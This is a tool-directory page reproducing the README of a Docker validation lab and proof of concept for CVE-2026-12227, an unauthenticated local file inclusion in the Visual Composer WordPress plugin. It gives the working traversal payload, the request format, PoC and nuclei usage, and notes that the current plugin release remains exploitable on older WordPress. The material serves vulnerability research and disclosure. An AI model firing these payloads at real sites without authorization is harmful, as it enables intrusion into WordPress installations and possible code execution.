Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12227-visualcomposer-lfi-poc — Docker validation lab and safe-oracle PoC for CVE-2026-12227, an unauthenticated LFI in Visual Composer via vcv-template, with a nuclei detection template. | Kitploit
Tools/GitHubGitHub/hassham1/cve-2026-12227-visualcomposer-lfi-poc
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationWeb SecurityPenetration TestingLabs & Practice
GitHubhassham1/cve-2026-12227-visualcomposer-lfi-poc

CVE-2026-12227-visualcomposer-lfi-poc

Docker validation lab and safe-oracle PoC for CVE-2026-12227, an unauthenticated LFI in Visual Composer via vcv-template, with a nuclei detection template.

View Repository
110h 25m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-12227 - Visual Composer Unauthenticated LFI via vcv-template Validation Lab

Security-research material for reproducing and validating CVE-2026-12227: an unauthenticated local file inclusion in Visual Composer Website Builder's page-template resolution (CVSS 3.1 9.8), plus a verified vendor-fix discrepancy (see below).

  • Affected: Visual Composer <= 45.16.0 (advisory); the vulnerable code path is byte-identical in 45.16.1 and present unchanged through 45.16.3
  • Neutralized on: WordPress 7.1.2+ (core containment gate inside locate_template(), from the CVE-2026-87902 fix) - the plugin code itself was never patched as of 45.16.3
  • CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98

Use only on systems you own or are explicitly authorized to test. The PoC fires harmless oracle includes (stock wp-links-opml.php / xmlrpc.php output). No file placement, no writes, no RCE payloads.

Verdict

Status: proven in the supplied lab.

root@kitploit:~
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout& vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php -> 200, body contains <opml version="1.0"> (docroot PHP included + executed) WP 7.1.1 + VC 45.16.3 : same request -> same oracle output (the vendor "fixed" release is still exploitable) WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)

Marker-level proof (a planted PHP file in uploads/ included and executed, unauthenticated GET) is part of the lab evidence and reproduced by ./lab verify on the vulnerable variant.

Root cause: validate-then-mutate

visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate() hooks template_include at priority 11 with no auth check:

root@kitploit:~
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
    return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
    $current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);

validate_file() rejects literal ... But the value is fused only after the check, so splitting each traversal across a theme: boundary passes it:

root@kitploit:~
raw:      theme:.theme:./.theme:./.theme:./wp-links-opml.php   (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip:    str_replace('theme:', '', ...) removes every 'theme:' occurrence,
          fusing the fragments: '.' + '../' per boundary
result:   ../../../wp-links-opml.php   (pure traversal, resolved by the sink)

Request::input() (Helpers/Request.php:76) returns raw $_POST/$_GET/$_REQUEST, so nothing upstream cleans it either. locate_template() resolves the candidate with file_exists(), which honors .. segments.

The cross-CVE interaction (verified)

WordPress 7.1.2 (the CVE-2026-87902 fix) added _wp_is_template_path_allowed() inside locate_template() (wp-includes/template.php). That core gate rejects the fused traversal candidate, so on WP 7.1.2+ this plugin chain is masked by core - the plugin was never patched. Attribution verified in-lab: on 7.1.2 the sink still runs but is confined to the theme directory; on 7.1.1 it escapes.

Practical consequence: a site running Visual Composer 45.16.3 (the current release, advertised as fixed) on WordPress <= 7.1.1 is still unauthenticated-LFI-vulnerable today. Only the WordPress core update neutralizes it.

Quick start

Requirements: Docker with Compose v2, Python 3.10+ on the host.

root@kitploit:~
./lab verify

Runs three controls: vulnerable (WP 7.1.1 + VC 45.16.1, oracle must fire), patched (WP 7.1.2 + VC 45.16.1, oracle must stay silent), latest (WP 7.1.1 + VC 45.16.3, oracle must fire - the fix-discrepancy demonstration).

Expected evidence

Vulnerable control:

root@kitploit:~
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
  request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
  evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED

Patched control:

root@kitploit:~
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)

Manual lab lifecycle

root@kitploit:~
./lab start vulnerable   # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched      # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest       # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset

Run the PoC by hand (loopback default; authorized external targets need the explicit override):

root@kitploit:~
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
  --allow-authorized-non-loopback [--insecure]

The nuclei template (nuclei/cve-2026-12227.yaml) fires the same oracle payloads across homepage + page_id anchors at depths 3-6 with stop-at-first-match.

Affected and tested versions

CombinationResult
WP 7.1.1 + VC 45.16.1 (= 45.16.0 code)LFI reproduced (oracle + planted-marker execution)
WP 7.1.1 + VC 45.16.3 (current release)LFI still fires
WP 7.1.2 + VC 45.16.1Silent (masked by core gate)
VC 45.16.2fix-diff reviewed; vulnerable path unchanged (not separately run)

Repository layout

root@kitploit:~
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│   └── cve-2026-12227.yaml
└── poc/
    └── poc_cve_2026_12227.py

Not committed: assets/ (plugin zips), .lab-state, __pycache__/.

Validation boundaries

ClaimStatus
Unauthenticated LFI to PHP execution outside the theme dirProven (oracle + planted marker)
Vendor fix absent through 45.16.3Proven (code diff + live fire on 45.16.3)
WP 7.1.2 core maskingProven (same request silent on 7.1.2, fires on 7.1.1)
Depth semantics3 ups to docroot from themes//; sweep covers 3-6
RCE via pearcmd/write chains on real targetsNot executed (safe-oracle-only PoC)
45.16.0 (original affected release)Code-identical to 45.16.1; its wp.org zip lacks vendor/ and cannot install

Disclosure note

The advisories list the fix as landing in 45.16.1, but the vulnerable code path is unchanged in every release through 45.16.3 (verified by tree diffs and live fire). If you maintain Visual Composer: viewPageTemplate() needs to re-validate (or refuse) the value after the theme: strip, not before. Sites should not rely on plugin updates for this one - the WordPress 7.1.2 core update is what actually closes it.

References

  • NVD entry
  • Wordfence record
  • wp.org trac changeset 3619572
  • GHSA-3q44-ppmv-jh7f
  • Cross-referenced: CVE-2026-87902 (the WP core fix that masks this chain)

Safety boundary

Run this repository only on systems you own or are explicitly authorized to test. The lab driver refuses unknown variants, the PoC refuses non-loopback targets unless --allow-authorized-non-loopback is supplied, and the Compose port is bound to 127.0.0.1.

See SECURITY.md for disclosure handling. This repository does not include production targets, customer data, access tokens, or evidence from real systems.

License

MIT - see LICENSE.

Download Tool